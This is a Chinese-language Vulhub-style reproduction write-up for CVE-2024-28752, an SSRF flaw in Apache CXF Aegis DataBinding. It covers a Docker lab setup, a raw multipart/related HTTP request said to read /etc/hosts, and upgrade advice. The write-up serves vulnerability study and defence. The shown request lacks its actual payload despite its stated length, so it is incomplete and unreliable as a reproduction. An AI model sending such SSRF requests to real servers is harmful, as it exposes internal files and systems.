# Apache CXF Aegis DataBinding 服务端请求伪造漏洞 CVE-2024-28752 ## 漏洞描述 Apache CXF 是一个开源的服务框架,帮助开发者使用 JAX-WS 和 JAX-RS 等前端编程 API 构建和开发服务。 Apache CXF 在 4.0.4、3.6.3 和 3.5.8 版本之前存在一个使用 Aegis DataBinding 的 SSRF 漏洞,该漏洞允许攻击者对接受至少一个任意类型参数的 Web 服务执行 SSRF 攻击。此漏洞专门影响使用 Aegis DataBinding 的服务,而使用其他数据绑定 (包括默认数据绑定) 的服务不受影响。攻击者可以利用此漏洞通过让服务器向任意 URL 发送请求来访问内部资源,这可能导致信息泄露或对内部系统的进一步攻击。 参考链接: - http://www.openwall.com/lists/oss-security/2024/03/14/3 - https://cxf.apache.org/security-advisories.data/CVE-2024-28752.txt - https://github.com/advisories/GHSA-qmgx-j96g-4428 - https://nvd.nist.gov/vuln/detail/CVE-2024-28752 - https://github.com/ReaJason/CVE-2024-28752 ## 漏洞影响 ``` Apache CXF < 4.0.4 Apache CXF < 3.6.3 Apache CXF < 3.5.8 ``` ## 环境搭建 Vulhub 执行如下命令启动一个存在漏洞的 Apache CXF Web 服务,该服务使用 Aegis DataBinding: ``` docker compose up -d ``` 服务启动后,存在漏洞的 CXF Web 服务将可以通过 `http://your-ip:8080/test?wsdl` 访问。该服务配置为使用 Aegis DataBinding 并接受各种参数类型,使其容易受到 SSRF 攻击。 ![](images/Apache%20CXF%20Aegis%20DataBinding%20服务端请求伪造漏洞%20CVE-2024-28752/image-20250818101810077.png) ## 漏洞复现 发送如下请求即可触发 SSRF 读取 `/etc/hosts` 文件内容: ``` POST /test HTTP/1.1 Host: your-ip:8080 Content-Type: multipart/related; boundary=----foo Content-Length: 472 Connection: close ------foo Content-Disposition: form-data; name="1" ------foo-- ``` ![](images/Apache%20CXF%20Aegis%20DataBinding%20服务端请求伪造漏洞%20CVE-2024-28752/image-20250818102909381.png) 解码: ![](images/Apache%20CXF%20Aegis%20DataBinding%20服务端请求伪造漏洞%20CVE-2024-28752/image-20250818103012099.png) ## 漏洞修复 官方已发布安全更新,建议升级至最新版本。